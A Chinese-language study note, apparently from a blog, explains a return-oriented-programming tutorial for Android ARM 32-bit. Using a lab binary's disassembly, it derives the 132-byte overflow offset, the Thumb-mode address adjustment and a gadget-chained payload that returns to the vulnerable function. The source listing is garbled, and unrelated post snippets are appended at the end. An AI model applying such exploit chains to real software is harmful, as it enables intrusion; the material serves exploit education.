0x00
本文僅解釋說明蒸公尺大神一步一步學rop之android arm 32位篇,讀者應先閱讀這篇文章,遇到問題再來看我這篇文章。
0x01
第乙個問題:payload = 'a'*132 + p32(callsystemaddr),這個132是怎麼來的?
要回答這個問題,我們需要把level6.c反彙編,level6.c**如下:
#include#include#includevoid callsystem()
void vulnerable_function()
int main(int argc, char** argv)
我們把使用ndk-build編譯後,生成的level6拖入ida pro中,找到vulnerable_function對應的反彙編**:
.text:00008564 sub_8564
.text:00008564 push
.text:00008566 movs r2, #0x80
.text:00008568 sub sp, sp, #0x84
.text:0000856a mov r1, sp
.text:0000856c lsls r2, r2, #1
.text:0000856e movs r0, #0
.text:00008570 bl sub_9414
.text:00008574 add sp, sp, #0x84
.text:00008576 pop
.text:00008576 ; end of function sub_8564
參考
arm子函式定義中的引數放入暫存器的規則,這個函式對應下面的函式**:
void vulnerable_function()
r0對應stdin_fileno,buf對應sp-0x84,r2對應256,引數已經存入的暫存器,接著bl sub_9414就是呼叫read函式。那麼132是怎麼來的呢,我們來看一張圖:
下乙個位址就是lr,也就是返回位址,覆蓋了這個位址,就會去執行對應的函式。
0x02
callsystemaddr = 0x00008554 + 1。這個位址是我們靜態分析時,callsystem在ida中的靜態位址。那麼當level在記憶體中載入並執行後,對應的虛擬位址還是這個麼?答案是,是這個位址。我們可以使用cat /proc/pid/maps來觀察對映表。如下圖:
payload = '\x00'*132 + p32(gadget1) + '\x00'*0xc + p32(r0) + '\x00'*0x4 + p32(gadget2) + p32(r1) + p32(r2) + p32(r4) + p32(r5) + p32(r6) + p32(write_addr_plt) + '\x00' * 0x84 + p32(ret_to_vul),這裡為什麼'\x00' * 0x84 + p32(ret_to_vul)就返回到vulnerable_function函式呢?
答案是gadget2是write函式,write函式執行時首先會把lr壓入堆疊,此時的lr還是指向了.text:00008574 add sp, sp, #0x84,因為只執行了bl sub_9414,下一行的位址被存入lr,一直沒有變化。
當write函式執行完畢後,pop ,繼續執行.text:00008574的**,也就是這兩句**.text:00008574 add sp, sp, #0x84 .text:00008576 pop ,這樣就理解了為什麼寫成'\x00' * 0x84 + p32(ret_to_vul)就可以返回到
vulnerable_function函式了。
一步一步學cscope
告之 1,我不喜歡寫部落格 因為感覺太浪費時間 2,部落格能記住自己某階段學過的東西,而這些東西可能會很快的忘卻 所以我以後要學著在部落格上浪費時間 前言 本文件記錄了我今天 2007 11 9 下午學習cscope的一點收穫,特收錄部落格以作分享。在學習cscope過程中查閱了大量的文件,但發現適...
一步一步學Linq to sql
一步一步學linq to sql 一 預備知識 一步一步學linq to sql 二 datacontext與實體 一步一步學linq to sql 三 增刪改 一步一步學linq to sql 四 查詢句法 一步一步學linq to sql 五 儲存過程 一步一步學linq to sql 六 特性...
一步一步學RenderMonkey
rendermonkey的基本使用方法 用rendermonkey 進行shader開發 一 用rendermonkey 進行shader開發 二 rendermonkey製作photoshop特效 前言 rendermonkey作為shader開發利器而為人所熟知,我們可以專心於shader的編寫...